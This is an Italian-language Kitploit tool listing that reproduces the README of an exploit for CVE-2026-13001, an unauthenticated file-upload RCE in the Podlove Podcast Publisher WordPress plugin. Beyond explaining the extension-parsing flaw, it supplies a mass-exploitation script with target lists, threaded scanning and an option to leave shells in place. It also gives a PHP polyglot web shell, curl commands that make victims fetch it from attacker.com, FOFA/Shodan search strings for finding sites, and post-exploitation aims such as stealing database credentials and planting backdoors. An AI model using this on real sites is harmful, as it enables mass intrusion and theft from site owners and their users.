Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-13001 — Podlove Podcast Publisher Caricamento file non autenticato RCE tramite disallineamento tra is_image() e extract_file_extension() | CVSS 9.8 | Kitploit
Strumenti/GitHubGitHub/shinthink/cve-2026-13001
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneSviluppo Payload
GitHubshinthink/cve-2026-13001

CVE-2026-13001

Podlove Podcast Publisher Caricamento file non autenticato RCE tramite disallineamento tra is_image() e extract_file_extension() | CVSS 9.8

Vedi Repository
242 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-13001 — Podlove Podcast Publisher Caricamento File Non Autenticato RCE

Discrepanza tra is_image() e extract_file_extension() → Caricamento Polyglot PHP


Panoramica

CVE-2026-13001 è una vulnerabilità critica (CVSS 9.8) di caricamento arbitrario di file non autenticato nel plugin WordPress Podlove Podcast Publisher versione ≤ 4.5.1.

La vulnerabilità sfrutta una discrepanza tra due funzioni interne che analizzano le estensioni dei file in modo diverso:

  • is_image() usa basename() che include le stringhe di query → URL shell.php?.gif appare come .gif ✅ (immagine valida)
  • extract_file_extension() usa solo il percorso di parse_url() → restituisce .php → il file viene salvato con estensione .php 🚨

Gli aggressori caricano polyglot GIF89a PHP (header GIF valido + PHP incorporato) che superano la convalida delle immagini ma vengono eseguiti come PHP quando vengono acceduti.

Versioni Affette

VersioneStato
≤ 4.5.1Vulnerabile
4.5.2+Corretto

Scoperto da: Talal Nasraddeen tramite Wordfence (14 luglio 2026)


Meccanismo della vulnerabilità

Causa principale

// is_image() — uses basename() which includes query string
function is_image($url) {
    $ext = strtolower(pathinfo(basename($url), PATHINFO_EXTENSION));
    return in_array($ext, ['jpg','jpeg','png','gif','webp']);
}
// URL: https://attacker.com/shell.php?.gif
// basename() → "shell.php?.gif" → ext = "gif" ✅ BYPASSED
// extract_file_extension() — uses parse_url() path only
function extract_file_extension($url) {
    $path = parse_url($url, PHP_URL_PATH);
    return pathinfo($path, PATHINFO_EXTENSION);
}
// URL: https://attacker.com/shell.php?.gif
// parse_url() → "/shell.php" → ext = "php" 🚨 SAVED AS .php

Flusso dell'attacco

1. Attacker hosts GIF89a PHP polyglot at attacker.com/shell.php?.gif
2. GET /?podlove_image_cache_url={hex(url)}&podlove_file_name=test
3. is_image() validates .gif extension → PASS
4. Plugin downloads file → saves as test_original.php in cache/
5. Attacker accesses /wp-content/cache/podlove/{hash}/test_original.php
6. PHP executes → RCE

Installazione

git clone https://github.com/shinthink/CVE-2026-13001.git
cd CVE-2026-13001
pip install -r requirements.txt

Utilizzo

# Single target
python cve_2026_13001.py -t target.com

# Mass scan
python cve_2026_13001.py -f targets.txt -o shells.txt

# Custom payload URL
python cve_2026_13001.py -t target.com --payload-url https://yourserver/shell.php?.gif

# Debug mode, leave shells
python cve_2026_13001.py -t target.com --debug --no-cleanup

Argomenti

  -t, --target       Singolo target (dominio o IP)
  -f, --file         Lista di target, uno per riga
  -o, --output       Salva gli URL RCE in un file
  --payload-url      URL che ospita il polyglot PHP (default: GitHub raw)
  --threads          Thread concorrenti (default: 30)
  --no-cleanup       Lascia le shell sul target
  --debug            Mostra ogni richiesta HTTP
  -v, --verbose      Output dettagliato

Prova di concetto

Singolo target

$ python cve_2026_13001.py -t podcast-site.com
  Podlove Podcast Publisher | CVE-2026-13001 | CVSS 9.8

  Host       : podcast-site.com
  Podlove    : YES v4.5.1
  Upload     : YES
  RCE        : YES
  Shell      : https://podcast-site.com/wp-content/cache/podlove/a1/b2.../think_xxx_original.php?t=TOKEN
  Output     : uid=33(www-data) gid=33(www-data)
  Time       : 4.2s

Scansione di massa

  Targets: 500  |  Threads: 30
  Payload URL: https://raw.githubusercontent.com/shinthink/payloads/main/shell.gif

  [RCE] podcast-vuln-01.com       https://podcast-vuln-01.com/wp-content/cache/podlove/...
  [150/500] 30% | Det:42 RCE:8

Sfruttamento manuale

Passo 1 — Ospitare una shell polyglot

// shell.php — save and host on your server
GIF89a<?php system($_GET['c']); ?>

Passo 2 — Codifica esadecimale dell'URL con bypass

# URL: https://attacker.com/shell.php?.gif
echo -n "https://attacker.com/shell.php?.gif" | xxd -p | tr -d '\n'

Passo 3 — Attivare il download della cache

curl 'https://target.com/?podlove_image_cache_url=68747470733a2f2f...&podlove_file_name=shell&podlove_width=100&podlove_height=100&podlove_crop=0'

Passo 4 — Accedere alla shell

# Path: wp-content/cache/podlove/{h[:2]}/{h[2:]}/{name}_original.php
curl 'https://target.com/wp-content/cache/podlove/a1/b2c3.../shell_original.php?c=id'

FOFA / Shodan

FOFA:   body="podlove-podcasting-plugin-for-wordpress"
Shodan: http.html:"podlove"

Impatto

Uno sfruttamento riuscito produce esecuzione di codice remoto come utente del server web:

  • Estrarre wp-config.php → credenziali del database
  • Accedere a tutti i contenuti WordPress, utenti e dati dei plugin
  • Distribuire backdoor persistenti
  • Muoversi verso reti interne

Disclaimer

SOLO A SCOPO EDUCATIVO E PER TEST AUTORIZZATI.

Gli autori non si assumono alcuna responsabilità per un uso improprio.


Riferimenti

RisorsaLink
Avviso Wordfencewordfence.com
Rilascio di sicurezza Podlovepodlove.org
Voce NVDCVE-2026-13001
PoC di Raimu0x19GitHub
RicercatoreTalal Nasraddeen

Non affiliato con Podlove.

Scarica lo strumento